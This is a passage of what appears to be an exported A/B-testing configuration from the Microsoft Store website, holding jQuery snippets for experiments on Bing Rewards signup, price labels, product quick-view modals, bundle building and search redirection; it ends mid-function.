    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \";\n \n if(jQuery(\".product-tab-content\").length == 1){\n jQuery(\".product-tab-content\").append(rewardsTabHtml);\n }\n else{\n jQuery(\".product-tab-content\").eq(1).append(rewardsTabHtml);\n }\n }\n\n\n\n getRewardsUserInfo(loadCreditsOffer);"},"2183080269":{},"2015740240":{"code":"$('a.product[pid-ref=286395000] .real-price').html('$9.99 per month
    $99.99 per year');\n\n$('a.product[pid-ref=297833200] .real-price').html('$6.99 per month
    $69.99 per year');"},"1201602872":{"code":"$('html').addClass('experiment-quickview-modal');\n\n\nfunction disableBodyScroll(elm) {\n jQuery(elm).bind('mousewheel', function(event, delta) { \n if (this.scrollHeight && this.scrollHeight <= jQuery(this).height() + jQuery(this).scrollTop() && delta < 0)\n { \n event.preventDefault()\n } else if(jQuery(this).scrollTop()===0 && delta > 0){\n event.preventDefault()\n }\n });\t\n};\n\n\n//Quick view bu\nvar expItem = jQuery('.quickViewMedium a');\n\n//Remove existing click events\nexpItem.off('click');\n\n\n\n\n\n/* Tech Specs */\nvar techSpecsHTML = ['
    ',\n '
    ',\n '
     
    ',\n '
    ',\n '

    Surface 2

    ',\n '',\n '
    ',\n '
    ',\n '

    Surface Pro 2

    ',\n '',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Software

    ',\n '
    ',\n '
    ',\n '

    Windows RT 8.1, Microsoft Office 2013 RT

    ',\n '
    ',\n '
    ',\n '

    Windows 8.1 Pro (Microsoft Office 365 sold separately)

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Exterior

    ',\n '
    ',\n '
    ',\n '
    ',\n '\"Exterior\"',\n '
    ',\n '
    ',\n '

    Dimensions: 10.81 x 6.81 x 0.35 in

    ',\n '

    Weight: 1.49 lbs

    ',\n '

    Casing: VaporMg

    ',\n '

    Color: Magnesium

    ',\n '

    Physical buttons: Volume, Power

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '\"Exterior\"',\n '
    ',\n '
    ',\n '

    Dimensions: 10.81 x 6.81 x 0.53 in

    ',\n '

    Weight: 2 lbs

    ',\n '

    Casing: VaporMg

    ',\n '

    Color: Dark Titanium

    ',\n '

    Physical buttons: Volume, Power

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Storage &
    Memory

    ',\n '\"Storage\"',\n '
    ',\n '
    ',\n '
    ',\n '

    32GB or 64GB 5',\n '

    ',\n '

    2GB RAM

    ',\n '
    ',\n '
    ',\n '

    64/128GB    256/512GB 5',\n '

    ',\n '

    4GB RAM      8GB RAM

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Display

    ',\n '\"Display\"',\n '
    ',\n '
    ',\n '
    ',\n '

    Screen: 10.6 inch ClearType Full HD Display

    ',\n '

    Resolution: 1920 x 1080

    ',\n '

    Aspect Ratio: 16:9 (widescreen)

    ',\n '

    Touch: 5-point multi-touch

    ',\n '

    Durable display

    ',\n '
    ',\n '
    ',\n '

    Screen: 10.6 inch ClearType Full HD Display

    ',\n '

    Resolution: 1920 x 1080

    ',\n '

    Aspect Ratio: 16:9 (widescreen)

    ',\n '

    Touch: 10-point multi-touch

    ',\n '

    Durable display

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    CPU & Wireless

    ',\n '
    ',\n '
    ',\n '
    ',\n '

    NVIDIA Tegra 4

    ',\n '

    Wi-Fi (802.11a/b/g/n)

    ',\n '

    Bluetooth 4.0 Low Energy technology

    ',\n '

    AT&T 4G LTE (optional)9',\n '

    ',\n '
    ',\n '
    ',\n '\"NVIDIA\"',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    4th generation Intel Core\u2122 i5 Processor

    ',\n '

    TPM Chip for enterprise security

    ',\n '

    Wireless: Wi-Fi (802.11a/b/g/n)

    ',\n '

    Bluetooth 4.0 Low Energy technology

    ',\n '
    ',\n '
    ',\n '\"Intel\"',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Battery Life

    ',\n '
    ',\n '
    ',\n '

    Up to 10 hours1',\n '

    ',\n '

    7-15 days idle life

    ',\n '

    Charges in 2-4 hours with included power supply

    ',\n '
    ',\n '
    ',\n '

    7-15 days idle life

    ',\n '

    Charges in 2-4 hours with included power supply

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Cameras, Video & Audio

    ',\n '
    ',\n '
    ',\n '

    Two video cameras on front and back

    ',\n '

    3.5 megapixel front-facing camera

    ',\n '

    5.0 megapixel rear-facing camera

    ',\n '

    Two microphones

    ',\n '

    Dual stereo speakers with Dolby audio and virtualized surround sound

    ',\n '
    ',\n '
    ',\n '

    Two 720p HD cameras, front and rear-facing

    ',\n '

    Microphone

    ',\n '

    Stereo speakers

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Ports

    ',\n '
    ',\n '
    ',\n '

    Full-size USB 3.0

    ',\n '

    microSDXC card reader

    ',\n '

    MicroSIM card slot (optional)

    ',\n '

    Headphone jack

    ',\n '

    HD video out port

    ',\n '

    Cover port

    ',\n '
    ',\n '
    ',\n '

    Full-size USB 3.0

    ',\n '

    microSD card reader

    ',\n '

    ',\n '

    Headphone jack

    ',\n '

    Mini DisplayPort

    ',\n '

    Cover port

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Sensors

    ',\n '
    ',\n '
    ',\n '

    Ambient light sensor

    ',\n '

    Accelerometer

    ',\n '

    Gyroscope

    ',\n '

    Magnetometer

    ',\n '
    ',\n '
    ',\n '

    Ambient light sensor

    ',\n '

    Accelerometer

    ',\n '

    Gyroscope

    ',\n '

    Magnetometer

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Warranty

    ',\n '
    ',\n '
    ',\n '

    1-year limited hardware warranty',\n '',\n '

    ',\n '
    ',\n '
    ',\n '

    1-year limited hardware warranty',\n '',\n '

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Surface Pen

    ',\n '
    ',\n '
    ',\n '

    Surface pen not compatible

    ',\n '
    ',\n '
    ',\n '

    Included

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    LTE Compatibility

    ',\n '
    ',\n '
    ',\n '

    4G LTE available option

    ',\n '
    ',\n '
    ',\n '

    Not available

    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    In the box

    ',\n '
    ',\n '
    ',\n '

    Surface 2 with Windows RT 8.1

    ',\n '

    24W power supply

    ',\n '

    MicroSIM (optional)

    ',\n '

    Quickstart guide

    ',\n '

    Safety and warranty documents

    ',\n '
    ',\n '
    ',\n '

    Surface Pro 2 with Windows 8.1 Pro

    ',\n '

    48W power supply

    ',\n '

    ',\n '

    Quickstart guide

    ',\n '

    Safety and warranty documents

    ',\n '

    Surface Pen

    ',\n '
    ',\n '
    ',\n'
    '].join('\\n');\n\n\n\n\n\n\n//Open new modal\nvar expModal = [''].join('\\n');\n\n\texpItem.on('click', function (e) {\n\t\te.preventDefault();\n\n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: expModal\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\tbindAfterOpen();\n\t\t\t\t}\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-quickview'\n\n\t\t});\n\t});\n\n \nfunction bindAfterOpen(){\n jQuery('.exp-preview-modal .column1 a').on('click.updatecol2img', function(){\n //Remove old selected item\n jQuery('li', jQuery(this).closest('ul')).removeClass('selected');\n \n //Add selected to this item\n jQuery(this).parent().addClass('selected');\n \n //Update image\n jQuery('.exp-preview-modal .column2 .exp-prod-image img').attr('src', $(this).data('defer'));\n }); \n \n \n disableBodyScroll('.exp-preview-modal');\n\n /* Init R&R */\n var bvParam = {\n productIds: ['291881200'],\n containerPrefix: 'BVRRInlineRating'\n }; \n \n $BV.ui('rr', 'inline_ratings', bvParam);\n};"},"2414990163":{},"2125001044":{},"2580240725":{},"2562300758":{"code":"jQuery(document).ajaxComplete(function(){\n if(!$('body').hasClass('exp-offer-under-bb') && $('.product-additional-info').length){\n $('body').addClass('exp-offer-under-bb');\n\t$('.product-additional-info').filter(function() { return $(this).css('display') != \"none\"; }).each(function(){\n\t\tif($('img', this).length){\n\t\t\t$(this).append($('img', this));\n $('strong', this).after(' ');\n $('a', this).after(' 
    See more ⌄
    ');\n $(this).addClass('exp-under-bb-hide');\n jQuery('.exp-toggle-link[data-offerid=\"' + $(this).attr(\"data-offerid\") + '\"]', this).on('click', function(){\n if($('.product-additional-info[data-offerid=\"' + $(this).attr(\"data-offerid\") + '\"]').hasClass('exp-under-bb-hide')){\n $('.product-additional-info[data-offerid=\"' + $(this).attr(\"data-offerid\") + '\"]').removeClass('exp-under-bb-hide').addClass('exp-under-bb-show');\n $(this).text(\"See less \\u2303\");\n } else{\n $('.product-additional-info[data-offerid=\"' + $(this).attr(\"data-offerid\") + '\"]').removeClass('exp-under-bb-show').addClass('exp-under-bb-hide');\n $(this).text(\"See more \\u2304\"); \n }\n });\n\t\t}\n\t});\n }\n});"},"2564302169":{},"2199561564":{},"2188510048":{"code":"console.log(\"######################################## RAN v16 \");\n\n\n\n\n\nsetTimeout(function () {\n\tconsole.log('--> verifyRewardsExistsBeforeCalling');\n\tverifyRewardsExistsBeforeCalling(2);\n}, 0);\n\nfunction verifyRewardsExistsBeforeCalling(count) {\n\tif (jQuery('.ms-rewards').length > 0) {\n\t\tconsole.log('--> length > 0');\n\t\tconsole.log('checkIfCheckboxShouldBeChecked : ' + count);\n\t\tcheckIfCheckboxShouldBeChecked();\n\t} else {\n\t\tif (count <= 0) {\n\t\t\tconsole.log('count <= 0 : ' + count);\n\t\t\treturn;\n\t\t}\n\t\tcount--;\n\t\tconsole.log('--> count-- : ' + count);\n\n\t\tsetTimeout(function () {\n\t\t\tconsole.log('verifyRewardsExistsBeforeCalling :' + count);\n\t\t\tverifyRewardsExistsBeforeCalling(count);\n\t\t}, 500);\n\t}\n}\n\t\nfunction checkIfCheckboxShouldBeChecked() {\n\n\tvar rewardsCheckboxCookieName = \"rewardssignup\",\n\t\trewardsCheckboxCookie = Store.tryGetCookie(rewardsCheckboxCookieName);\n\n\tif(jQuery('.not-member').is(':visible') && rewardsCheckboxCookie != 'true') {\n\t\tvar rewardsCookieName = \"rewardsautosignup\",\n\t\t\trewardsCookie = Store.tryGetCookie(rewardsCookieName);\n\t\t\n\t\tconsole.log('rewardsCookieName: ' + rewardsCookieName);\n\t\tconsole.log('rewardsCookie: ' + rewardsCookie);\n\t\t\n\t\tif (!rewardsCookie) {\n\t\t\tconsole.log('!rewardsCookie: inside');\n\t\t\t\t\n\t\t\tjQuery(\"#rewardsSignup\").prop('checked', true).trigger('change');\n\n\t\t\tjQuery(\"
    \").appendTo($('.grid.pcf-layout'));\n\t\t\t\n\t\t\tjQuery('.autocheck-rewards img').css({\n\t\t\t\t'margin': '200px auto',\n\t\t\t\t'display': 'block'\n\t\t\t});\t\n\t\t\t\n\t\t\tjQuery('.pcf-main').hide();\n\t\t\tjQuery('.pcf-aside').hide();\n\t\t\t\n\t\t\tStore.saveCookie(rewardsCookieName, 'true');\n\t\t}\n\t}\n}"},"2519670587":{},"2341921124":{"code":"$(function(){\n if($('a[pid-ref=297833200] .badge').length > 0){\n $('a[pid-ref=297833200] .badge').text('Recommended for Individuals');\n }\n else{\n $('a[pid-ref=297833200] .image-container > div').before('Recommended for Individuals');\n }\n});"},"2130460006":{"code":"$(\"#rewardsSignup\").remove();\n$('.rewards-signup').prepend('');\n\nrewardsCookieName = \"rewardssignup\",\n hideClass = \"hide\",\n counter = 0,\n threshold = 5;\n\n$rewardsContainer = $(\".ms-rewards\");\n$signUpCheckbox = $rewardsContainer.find(\"#rewardsSignup\");\n$cartPage = $('.ThreePgCheckoutShoppingCartPage');\n$shippingMethodForRewardsUser = $('.shipping-method .rewards-members');\n$alreadyMember = $rewardsContainer.find(\".already-member\");\n$notMember = $rewardsContainer.find(\".not-member\");\n$signupFailedMessage = $rewardsContainer.find('.signup-failed');\n\nvar refreshPage = false;\n\nfunction isCartPage() {\n return $cartPage.length === 0 ? false : true;\n}\n\nif (isCartPage()) {\n if (Store.tryGetCookie(rewardsCookieName) == 'true') {\n $signUpCheckbox.prop('checked', 'true');\n }\n\n if ($shippingMethodForRewardsUser.length) {\n showingRewardsMessageBasedOnSubtotal();\n }\n\n getRewardsUserInfo(verifyRewardsMemberOnCartPage);\n\n $signUpCheckbox.change(function () {\n cartPageRewardsCheckboxActions();\n });\n}\n\n$signUpCheckbox.change(function () {\n cartPageRewardsCheckboxActions();\n});\n\nfunction cartPageRewardsCheckboxActions() {\n if ($signUpCheckbox.prop('checked')) {\n toggleRewardsSignupLoading();\n saveCookie(rewardsCookieName, 'true');\n refreshPage = true;\n omnitureTracking(\"Cart: Checkbox checked\");\n setupOffer();\n //setupBundleOffer();\n } else {\n saveCookie(rewardsCookieName, 'false');\n omnitureTracking(\"Cart: Checkbox unchecked\");\n }\n}\n\nfunction saveCookie(name, value) {\n var expires = \"\";\n document.cookie = name + \"=\" + value + expires + \"; path=/\";\n}\n\nfunction tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = $.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n}\n\nfunction toggleRewardsSignupLoading() {\n $rewardsContainer.find(\".rewards-signup\").toggleClass(\"loading\");\n}\n\n\nfunction omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n}\n\nfunction verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n}\n\nfunction setupOffer() {\n var offerId = $rewardsContainer.attr(\"data-offerid\");\n\n if (offerId) {\n activateOffer(offerId);\n }\n}\n\nfunction setupBundleOffer() {\n var offerId = $rewardsContainer.attr(\"data-offerid\");\n\n if (offerId) {\n activateOffer(offerId);\n }\n}\n\nfunction activateOffer(offerId) {\n var offerUrlFormat = \"http://www.microsoftstore.com/store/msusa/en_US/rewardsoffer/offerid.{0}\";\n var offerUrl = offerUrlFormat.replace(\"{0}\", offerId);\n\n jQuery.ajax({\n type: \"GET\",\n url: offerUrl,\n dataType: \"text\",\n success: function (data) {\n if (refreshPage) {\n refreshPage = false;\n location.reload(true);\n }\n }\n });\n}\n\nfunction getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n}\n\nfunction crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = Store.tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n response = $.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n showCorrectMessagingForDomainRequestProblem();\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax xdr.ontimeout\");\n };\n xdr.onerror = function () {\n showCorrectMessagingForDomainRequestProblem();\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax xdr.onerror\");\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax xdr.send attempt\");\n } catch (e) {\n if (isThankYouPage() && rewardsCookie == 'true') {\n showSignUpFailure();\n } else if (isCartPage()) {\n showNonMemberModule();\n }\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax xdr.send failed\");\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax below IE8\");\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n if (isThankYouPage() && rewardsCookie == 'true') {\n showSignUpFailure();\n } else {\n showNonMemberModule();\n }\n omnitureTracking(\"getRewardsUserInfo: crossDomainAjax post failed\");\n });\n }\n }\n\nfunction showingRewardsMessageBasedOnSubtotal() {\n var $offerValue = $rewardsContainer.attr('data-offervalue'),\n $shipping = $('.shipping .val').html().match(/\\d*\\.\\d*/),\n $subtotal = $('.subtotal .val').html().match(/\\d*\\.\\d*/),\n $valTowardsRewards = parseFloat($subtotal) - parseFloat($shipping);\n\n if ($valTowardsRewards >= $offerValue) {\n $shippingMethodForRewardsUser.removeClass('hide');\n } else {\n $shippingMethodForRewardsUser.addClass('hide');\n }\n}\n\nfunction verifyRewardsMemberOnCartPage(user) {\n if (user.RewardsUser) {\n setupOffer();\n showMemberModule();\n } else {\n showNonMemberModule();\n }\n}\n\nfunction showNonMemberModule() {\n $notMember.removeClass(hideClass);\n $alreadyMember.addClass(hideClass);\n $signupFailedMessage.addClass(hideClass);\n}\n\nfunction showMemberModule() {\n $notMember.addClass(hideClass);\n $alreadyMember.removeClass(hideClass);\n $signupFailedMessage.addClass(hideClass);\n}\n\nfunction getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n}\n\nfunction getUserId() {\n var aCookies;\n if (Store.tryGetCookie('ANON')) {\n aCookies = Store.tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n}\n\n\n/*\n$(document).ready(function()\u00a0{\n\u00a0\u00a0\u00a0\u00a0setTimeout(function()\u00a0{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0$('#rewardsSignup').off('change');\n $('#rewardsSignup').on('change', function() {alert ('test'); });\n\u00a0\u00a0\u00a0\u00a0},\u00a05000);\n});\n\n*/"},"2462470663":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var1');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('259281600', _TM.pids) !== -1){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p').text().indexOf('Office Home & Student') !== -1 ){\n $(this).find('.info .download.box').text('Download and Install Office');\n $(this).find('.info .download.box').attr('title','Download and Install Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n }\n });\n }\n }\n});"},"2599310187":{"code":"/* _optimizely_evaluate=force */\n$(function(){\n $('#overview').empty();\n $('#overview').append('

    Overview

    \"The

    Why subscribe to Office 365

    It's always up to date with the latest features and services - you'll never be stuck with outdated version.

    \"Work

    Work offline

    You don't need to be connected to the Internet to work - Office apps are downloaded derictly to ypur device.

    \"Office

    Office goes where you go

    One subscription covers multiple devices and platforms. Whether you're working on your PC in your office, your tablet at home, or your phone on the run, Office goes where you go.

    \"Store

    Store files in the cloud

    With 1TB OneDrive online storage, your files will be easier accessible, no matter where you're working.

    ');\n});\n/* _optimizely_evaluate=safe */"},"2441420140":{},"2563420449":{"code":"$('body').addClass('exp-bundlebuilder');\n\n//Move bundle viewing bar\n$('#cartSection .review-selected-products').insertAfter('#cartSection .product-corral');\n\n//Wrap expandable area so we can give it a bg\n$('#cartSection .product-corral').wrap('
    ')\n\nfunction updateProductArea(){\n //Add arrows next to boxes\n $('#cartSection .product-corral .product-slot').after('');\n \n //Add index count to items - Duplicate but needs to be here.\n var itemCount = 1;\n jQuery('#cartSection .product-slot').each(function(){\n jQuery(this).data('index', itemCount);\n itemCount++;\n }); \n\n //Add arrow sizes\n setTimeout(function(){\n \tjQuery('.exp-next-arrow').css('height', jQuery('#cartSection .product-corral .product-slot:eq(0)').height() + 'px');\n \n //Add index count to items\n var itemCount = 1;\n jQuery('#cartSection .product-slot').each(function(){\n jQuery(this).data('index', itemCount);\n itemCount++;\n }); \n }, 500);\n \n //If no items already in bundle\n if(!$('#cartSection .product-slot.occupied').length){\n \t$('#cartSection .product-corral .product-slot:eq(0)').addClass('choose-option');\n }\n\n /* Add titles per item */\n $('#cartSection .product-corral .product-slot:eq(0)').append(['
    Step 1
    Choose your Surface Pro 3
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(1)').append(['
    Step 2
    Choose your Type Cover
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(2)').append(['
    Step 3
    Choose your sleeve
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(3)').append(['
    Step 4
    Choose Office
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(4)').append(['
    Step 5
    Add Microsoft Complete
    '].join('\\n'));\n \n //Highlight any slots where prev item was removed\n $('#cartSection .product-slot.occupied').prevAll('.product-slot:not(.occupied)').addClass('choose-option');\n \n \n //Scroll to section\n if($('#cartSection .product-slot.occupied').length){\n setTimeout(function(){ \n //jQuery('#cartSection .product-slot.occupied:last').data('index')\n \n var sectionindex = jQuery('#cartSection .product-slot').parent().children('.product-slot:not(.occupied):first').index('.product-slot'),\n sectionoffset = jQuery('#form section:eq(' + sectionindex + ')').position().top;\n\n if(sectionoffset){\n \tjQuery('html, body').animate({scrollTop:(sectionoffset - 220)}, 'slow');\n };\n }, 150);\n };\n\t\n};\n\n jQuery( window ).resize(function() {\n $('.exp-next-arrow').css('height', jQuery('#cartSection .product-corral .product-slot:eq(0)').height() + 'px');\n });\n\n\nupdateProductArea();\n\njQuery( document ).ajaxComplete(function() {\n if(!jQuery('.exp-next-arrow').length){\n\t\tupdateProductArea();\n }\n});"},"2377791343":{"code":"$('body').addClass('exp-xbox');\n\nvar heroHTML = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n '\"-\"',\n '\"-\"',\n '\"-\"',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'

    Award-winning games

    ',\n\t\t\t\t\t\t\t\t'

    From huge blockbusters to exclusive limited-editions, Xbox One has the games you want

    ',\n\t\t\t\t\t\t\t\t'Shop now',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#dr_CategoryList section:eq(0)').before(heroHTML);\n\nvar modG = ['
    ',\n '',\n'
    '].join('\\n');\n\n$('#dr_CategoryList .exp-hero-banner').after(modG);"},"2496930307":{},"2181220209":{"code":"var offerText;\nvar offerHtml = '
    {0}
    ';\n\nif($('.shipping-method').length > 0)\n{\n offerText = \"Get free expedited shipping\";\n}\nelse\n{\n offerText = \"20 bonus credits for new members\";\n}\n\n$('.not-member > p').append(\" Bing Rewards members can also select expedited shipping on orders over $75 and get shipping for free (valid until Nov. 23, 2014).\");\nofferHtml = offerHtml.replace(\"{0}\", offerText);\n\n$('.not-member').prepend(offerHtml);\n$('.not-member h3').remove();\n$('.not-member .rewards-list').remove();"},"2443761056":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var2');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('288186100', _TM.pids) !== -1 ){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p:first').text().indexOf('Office 365 Home') !== -1 && $(this).find('.title p.comment.lineItemVariationLanguage').text() === '1-year auto-renewal'){\n $(this).find('.info .download.box').text('Install Office');\n $(this).find('.info .download.box').attr('title','Install Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n }\n });\n }\n }\n});"},"2620320116":{},"2018240916":{"code":"$('a.product[pid-ref=286395000] .real-price').html('$99.99 per year
    $9.99 per month');\n\n$('a.product[pid-ref=297833200] .real-price').html('$69.99 per year
    $6.99 per month');"},"2209031547":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\n//Real add to cart button\nvar expItem = jQuery('a.buyBtn_AddtoCart');\nvar expItemPlaceholderURL = 'http://' + window.location.host + '/store/msusa/en_US/buy/productID.' + $('.variation-container .option-list li.active').data('pid') + '/ThemeID.33363200/Currency.USD/mktp.US';\n\n\n\n//Fake add to cart button\n$('.add-to-cart').prepend('Add to cart');\n\n\njQuery(document).ajaxComplete(function() {\n jQuery('html').addClass('experiment-addon-visible');\n});\n\n\n\nfunction returnAddToCartURL(pid){\n var url = '';\n \n switch(pid){\n case '297833300':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.297833300/quantity.1/OfferID.308781500/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n case '297833400':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.297833400/quantity.1/OfferID.308781500/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n }\n \n return url;\n};\n\n\nvar expModal = ['
    ',\n '
    ',\n '',\n\t\t\t\t\t\t\t\t'
      ',\n\t\t\t\t\t\t\t\t\t\t'
    • 7-inch HD IPS touchscreen 800x1280
    • ',\n\t\t\t\t\t\t\t\t\t\t'
    • Intel Atom Z3735G quad core
    • ',\n\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Limited-time offer

    ',\n '

    For just $99, get the HP Stream 7 and a 1-year Office 365 Personal subscription($168.99 value for $99.00).

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n jQuery('.exp-modal').on('click', function (e) {\n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: expModal\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\t$('.exp-no').attr('href', 'http://' + window.location.host + '/store/msusa/en_US/buy/productID.' + $('.variation-container .option-list li.active').data('pid') + '/ThemeID.33363200/Currency.USD/mktp.US');\n\t\t\t\t}\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t\t});\n\t});"},"2290730367":{},"2213591939":{},"2169820037":{},"2411950472":{},"2297010059":{},"2573100428":{},"2316931394":{},"2334480270":{"code":"jQuery('body').addClass('exp-search-redirect');\n\nvar searchURL = 'http://www.microsoft.com/en-us/search/ShopDrillInResults.aspx?q=';\n//http://www.microsoftstore.com/store?SiteID=msusa&Locale=en_US&Action=DisplayProductSearchResultsPage&result=&keywords=\n\njQuery('#search-box').on('keypress.searchredirect', function(e){\n if (e.which == 13) {\n e.preventDefault();\n window.location= searchURL + encodeURIComponent($('#search-box').prop('value')) + '&form=shop'\n }\n});\n\njQuery('.search-submit').on('click.searchredirect', function(e){\n e.preventDefault();\n window.location= searchURL + encodeURIComponent($('#search-box').prop('value')) + '&form=shop'\n});\n\n//On ajax complete, kill bound events\njQuery(document).ajaxComplete(function() {\n setTimeout(function(){\n\tjQuery('.ac_results ul').off('click');\n }, 250);\n});\n\n\n//Redirect based on original auto-suggest\njQuery('body').on('click.searchredirect','.ac_results ul li', function(e){\n window.location= searchURL + encodeURIComponent($(this).text()) + '&form=shop'\n});"},"2384830445":{"code":"$('html').addClass('exp-list-addtocart');\n\nvar pidsVariation1 = ['300193600','289451700','288531900'],\n pidsVariation2 = ['310890500'],\n pidsVariation3 = ['289171900'],\n\tcurrentPid = '',\n\ti = 0;\n\t\nfunction returnProductSliderToRender(pid){\n\tvar buttonText,\n buttonClass = '';\n\t\n\tif($.inArray(pid, pidsVariation1) != -1){\n\t\tbuttonText = 'More colors available';\n buttonClass = 'text-extended';\n\t}\n else 